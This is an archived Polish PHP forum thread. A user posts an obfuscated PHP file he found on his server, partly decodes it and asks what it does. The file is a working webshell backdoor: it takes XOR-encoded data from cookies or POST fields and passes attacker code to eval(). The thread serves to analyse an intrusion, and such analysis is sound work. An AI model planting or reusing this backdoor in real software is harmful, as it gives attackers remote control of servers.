Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: [PHP]Analiza działania złośliwego kodu
Forum PHP.pl > Forum > Przedszkole
q3d
Na serwerze znalazłem taki plik (formatowanie własne)
  1. <?php
  2. $qewsiyy = 'u3vglopx\'skide5cr_#y0t6m-7an1*4bH';
  3. $snluzw = Array();
  4. $snluzw[] = $qewsiyy[32].$qewsiyy[29];
  5. $snluzw[] = $qewsiyy[18];
  6. $snluzw[] = $qewsiyy[28].$qewsiyy[15].$qewsiyy[1].$qewsiyy[22].$qewsiyy[30].$qewsiyy[15].$qewsiyy[26].$qewsiyy[31].$qewsiyy[24].
  7. $qewsiyy[26].$qewsiyy[25].$qewsiyy[26].$qewsiyy[20].$qewsiyy[24].$qewsiyy[30].$qewsiyy[28].$qewsiyy[28].$qewsiyy[26]
  8. .$qewsiyy[24].$qewsiyy[31].$qewsiyy[22].$qewsiyy[14].$qewsiyy[15].$qewsiyy[24].$qewsiyy[22].$qewsiyy[13].$qewsiyy[30]
  9. .$qewsiyy[20].$qewsiyy[15].$qewsiyy[20].$qewsiyy[31].$qewsiyy[26].$qewsiyy[25].$qewsiyy[28].$qewsiyy[28].$qewsiyy[20];
  10. $snluzw[] = $qewsiyy[15].$qewsiyy[5].$qewsiyy[0].$qewsiyy[27].$qewsiyy[21];
  11. $snluzw[] = $qewsiyy[9].$qewsiyy[21].$qewsiyy[16].$qewsiyy[17].$qewsiyy[16].$qewsiyy[13].$qewsiyy[6].$qewsiyy[13].$qewsiyy[26].$qewsiyy[21];
  12. $snluzw[] = $qewsiyy[13].$qewsiyy[7].$qewsiyy[6].$qewsiyy[4].$qewsiyy[5].$qewsiyy[12].$qewsiyy[13];
  13. $snluzw[] = $qewsiyy[9].$qewsiyy[0].$qewsiyy[31].$qewsiyy[9].$qewsiyy[21].$qewsiyy[16];
  14. $snluzw[] = $qewsiyy[26].$qewsiyy[16].$qewsiyy[16].$qewsiyy[26].$qewsiyy[19].$qewsiyy[17].$qewsiyy[23].$qewsiyy[13]
  15. .$qewsiyy[16].$qewsiyy[3].$qewsiyy[13];
  16. $snluzw[] = $qewsiyy[9].$qewsiyy[21].$qewsiyy[16].$qewsiyy[4].$qewsiyy[13].$qewsiyy[27];
  17. $snluzw[] = $qewsiyy[6].$qewsiyy[26].$qewsiyy[15].$qewsiyy[10];
  18.  
  19. foreach ($snluzw[7]($_COOKIE, $_POST) as $ennjrvq => $bjnyx) {
  20. function zjmihc($snluzw, $ennjrvq, $vcuum) {
  21. return $snluzw[6]($snluzw[4]($ennjrvq . $snluzw[2], ($vcuum / $snluzw[8]($ennjrvq)) + 1), 0, $vcuum);
  22. }
  23.  
  24. function vvlhqlo($snluzw, $pgyvhju){
  25. return @$snluzw[9]($snluzw[0], $pgyvhju);
  26. }
  27.  
  28. function ttpuw($snluzw, $pgyvhju){
  29. $lmczvy = $snluzw[3]($pgyvhju) % 3;
  30.  
  31. if (!$lmczvy) {
  32. eval($pgyvhju[1]($pgyvhju[2]));
  33. exit();
  34. }
  35. }
  36.  
  37. $bjnyx = vvlhqlo($snluzw, $bjnyx);
  38. ttpuw($snluzw, $snluzw[5]($snluzw[1], $bjnyx ^ zjmihc($snluzw, $ennjrvq, $snluzw[8]($bjnyx))));
  39. }


Ja rozumie na razie z tego tyle:
1)
  1. $qewsiyy = 'u3vglopx\'skide5cr_#y0t6m-7an1*4bH';


Łańcuch znaków z których budowane są polecenia wewnątrz tablicy $snluzw

  1. Array
  2. (
  3. [0] => H*
  4. [1] => #
  5. [2] => 1c364cab-a7a0-411a-b65c-6e40c0ba7110
  6. [3] => count
  7. [4] => str_repeat
  8. [5] => explode
  9. [6] => substr
  10. [7] => array_merge
  11. [8] => strlen
  12. [9] => pack
  13. )


2)
  1. foreach ($snluzw[7]($_COOKIE, $_POST) as $ennjrvq => $bjnyx) {


Dla wszystkich elementów połączonych tablic $_COOKIE i $_POST ($snluzw[7] to polecenie array_merge) wykonywane są instrukcje wewnątrz pętli.

3)
  1. $bjnyx = vvlhqlo($snluzw, $bjnyx);
  2. ttpuw($snluzw, $snluzw[5]($snluzw[1], $bjnyx ^ zjmihc($snluzw, $ennjrvq, $snluzw[8]($bjnyx))));

Instrukcje to wywołania trzech funkcji vvlhqlo(), ttpuw(), zjmihc() zdeklarowanych wewnątrz funkcji (po co zdeklarowane wewnątrz?)

No i dalej już mało rozumiem. Co tam się dzieje i po co?
wxm
Sprawdzałeś co przylatuje postem do tego pliku?
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.